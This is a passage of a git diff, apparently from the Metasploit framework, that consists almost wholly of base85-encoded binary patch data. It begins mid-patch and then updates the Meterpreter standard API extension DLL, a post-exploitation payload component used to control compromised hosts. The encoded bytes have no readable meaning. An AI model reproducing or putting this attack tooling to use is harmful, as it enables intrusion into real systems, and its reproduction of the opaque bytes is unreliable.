z|5WZ~86=)U>G({z7s*{NFfvgh7W@6ky_|qS;V?7_p9y0QJLh^}V59^{mZK}u4!nrm zl=lZi;<G(R==D(^3P=dQLTPw^z$KL>5OeHLY$;wi4eh}DV>a;;%h|Ys&f$fvQ64@p zU^Fn8RDwz)j&uC4u)D-0pt@8Lc16wcfiaa5YuV`pouG5VfoLcGM%bj~3#Y97g@+OH zh2f`oj^JGPhfd-pq;mgxuCRFMQ71^`kf?-DTyREa1}s8yMifKiH^&DCS4z<3eHZD3 zGz$Bpa(o7CbICazsc<%uyK7(&rUYZY_B$Pw?|;NhM$D5E|HL!eAI{1$AU{Fp>x4f< zQbH)ns|ueKF8PzwjC^6xUvwNVOh7yFN$~qCJkI0&5u12lG^gh(yNHB@c}84gx8Q~M zquzMoU^E1uDgL^16Y@t=mh$vWUQcF-3-QAKXeZtujER>3&R<-nO2!La2Ju#SkC-5o zLBb6s_R_-pV=%wtbDd?Xizoswyo#FRRgkF?f=!h}`6T!VlDl69d{g^8xFW<<lPFUF zuZEfG5MG6w>W%9B$n{Jr_#--LR3bf(M)J#9c%h5%&OvxLT!ehLS6CJDDeOc{=XlBp zA3?M58E^sem4{U^pu)FM5oO-G$z!T5BuYu#2)X0~2BDZ8i0a(2n`=J2A64Q5BRd15 zJ|+6|0>5k4gEGQMejX|VFT5LN;#1*sM4B$d`=d-ftXRTNZNft<@xqTJRFp#g5K-=m z5;~fOa>*AygJw!Y@KPfJ^f*)eF`;}?mRQk}#<YVM{)Lk8D#294k?fUB=xNe|&{!5E z!Nf#5QHF<R8}<tMZulI()_ED93D2}6%8xRY&~u-u;_$if&HFiI_&iwppwo^pvlk*? zc<gZwjnswv`V$#g#`V7(lQ4i4aE>Oy>DuSP)7n?US2CP3xv=C($Ctth16cu`%Y&&; zo6aX2_{w0@_vttn9(cydFNZbxjpp8axO2iEhI^c?EFVs9MmiOQ>t0}YQK%Rm8|{qV zO88s0<JC(<ERS`zEDqLwl}71A9K1e}cBrdfH&vI(&fZFc-%VwZQl=apc$3bG_h76U z1TRy;4PPSQb}D`nESSfZ;!{81=l9SVd^T*5&*_MdgPoCl{1$FO^2I_4%v#7Y@`b}c zW*p!%;WLXk%=jVj%f%c*nd8}sdH)krWw0P0mMt+=HvSMCwbb-|ZJGm%kbM7N0y`~p z@_WN`$oByT)>>}*KI7Ge*NTWHr5&}wRAZ2Q{h9-R*Z%Sb&i@xTIt#L4r%ldC?hM0= zxuQ`y0)DT38JxeFixl|_;p1C4Me%*%psh|_Va+f3DOvKP;g(&FFM+l8aS_|ccR{e? zD2I3-*MBjQ6@*{2Kwc+qiBkEdLnyBY7p<{;?4$FA@+z;C5z6bj;)O@G7Y50@ndA%Q z#aHn{dFfTWFwLVA@}{f2v?>dP^1`Zkp}aIIUbszr;UVqiB~W$TDI=6OJf*x)-rf{1 z?5@3Vi1r>auj+(Q-l&uc!qwUf<yA?^7yhihFy#azT)u{Z^4g+!p}dMH<%RN^q2vqa g>3reZ6DE&e_P;zq>m_EXy`4MGvb^rxpvsm12Oh|bQUCw| diff --git a/data/meterpreter/ext_server_stdapi.x86.dll b/data/meterpreter/ext_server_stdapi.x86.dll index 079a55bc9c459f1fbf09e1dffd79a9d6255a88d6..f16efa1d0273c449f8a015daac5d2cf629cc6708 100755 GIT binary patch delta 24017 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 